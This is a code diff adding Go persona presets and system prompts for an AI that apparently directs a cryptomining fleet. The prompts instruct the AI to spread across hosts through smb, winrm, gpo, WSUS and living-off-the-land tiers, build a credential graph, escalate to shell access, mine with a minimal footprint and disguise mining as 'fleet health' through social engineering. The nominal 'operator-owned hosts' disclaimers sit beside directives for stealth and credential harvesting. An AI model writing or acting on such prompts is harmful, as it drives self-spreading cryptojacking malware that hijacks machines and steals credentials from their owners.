Add Calibrate AI persona presets with per-mode system prompts

server/internal/ai/personas.go

@@ -0,0 +1,85 @@
+package ai
+
+import "strings"
+
+const (
+	PersonaAggressive  = "aggressive"
+	PersonaSilent      = "silent"
+	PersonaPassive     = "passive"
+	PersonaPersuasive  = "persuasive"
+	PersonaBalanced    = "balanced"
+)
+
+// NormalizePersona maps aliases and unknown values to a valid persona id.
+func NormalizePersona(mode string) string {
+	switch strings.ToLower(strings.TrimSpace(mode)) {
+	case PersonaAggressive:
+		return PersonaAggressive
+	case PersonaSilent:
+		return PersonaSilent
+	case PersonaPassive:
+		return PersonaPassive
+	case PersonaPersuasive:
+		return PersonaPersuasive
+	case PersonaBalanced, "":
+		return PersonaBalanced
+	default:
+		return PersonaBalanced
+	}
+}
+
+// PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona.
+func PersonaSystemPrompt(mode string) string {
+	base := SystemPrompt()
+	overlay := personaMissionOverlay(NormalizePersona(mode))
+	if overlay == "" {
+		return base
+	}
+	return strings.TrimSpace(base + "\n\n" + overlay)
+}
+
+func personaMissionOverlay(mode string) string {
+	switch mode {
+	case PersonaAggressive:
+		return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts.
+Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first.
+Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting.
+Take every spread + mine opportunity; noisy retries are acceptable on your machines.`)
+	case PersonaSilent:
+		return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint.
+Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed.
+Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0.
+No bulk_command unless a single agent is critically stuck.`)
+	case PersonaPassive:
+		return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead.
+Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads).
+When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively.
+Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`)
+	case PersonaPersuasive:
+		return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes.
+Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes.
+Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust.
+Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`)
+	default: // balanced
+		return strings.TrimSpace(`PERSONA: Balanced — default mission behavior.
+Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy.
+Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available.
+Respond with short JSON commands; never target third-party systems.`)
+	}
+}
+
+// CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section.
+func CourtJudgeOverlay(mode string) string {
+	switch NormalizePersona(mode) {
+	case PersonaAggressive:
+		return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n"
+	case PersonaSilent:
+		return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n"
+	case PersonaPassive:
+		return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n"
+	case PersonaPersuasive:
+		return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n"
+	default:
+		return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
+	}
+}